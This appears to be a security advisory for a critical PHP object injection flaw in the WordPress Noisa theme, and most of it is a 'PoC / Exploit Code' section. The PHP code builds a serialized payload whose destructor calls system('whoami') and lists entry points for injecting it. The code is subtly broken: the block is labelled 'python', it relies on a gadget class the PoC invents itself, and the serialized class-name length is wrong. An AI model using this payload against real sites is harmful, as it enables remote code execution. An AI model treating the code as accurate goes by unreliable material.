Deserialization of Untrusted Data vulnerability in rascals Noisa noisa allows Object Injection.This issue affects Noisa: from n/a through <= 2.6.0.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Noisa Theme <= 2.6.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// CVE-2025-60039 PHP Object Injection PoC
// Target: WordPress Noisa Theme <= 2.6.0
class Noisa_Object_Injection {
public $callback;
public $args;
public function __construct($callback, $args = []) {
$this->callback = $callback;
$this->args = $args;
}
// Magic method that gets called when object is destroyed
public function __destruct() {
if (isset($this->callback)) {
call_user_func_array($this->callback, $this->args);
}
}
}
// Generate malicious serialized object
// This creates a payload that will execute arbitrary code
$payload = new Noisa_Object_Injection('system', ['whoami']);
$serialized = serialize($payload);
echo "Malicious serialized payload:\n";
echo $serialized . "\n\n";
// For WordPress exploitation, the payload would need to be
// injected through an appropriate entry point such as:
// - Custom meta fields
// - Plugin/Theme options
// - AJAX handlers
// - REST API endpoints
// Example: If the theme uses update_option() unsafely:
// update_option('noisa_option', unserialize($_POST['data']));
// To exploit, POST to vulnerable endpoint with:
// $_POST['data'] = 'O:19:"Noisa_Object_Injection":2:{s:8:"callback";s:6:"system";s:4:"args";a:1:{i:0;s:6:"whoami";}}'
// Note: Actual exploitation requires finding a suitable POP chain
// in the theme or dependent plugins
?>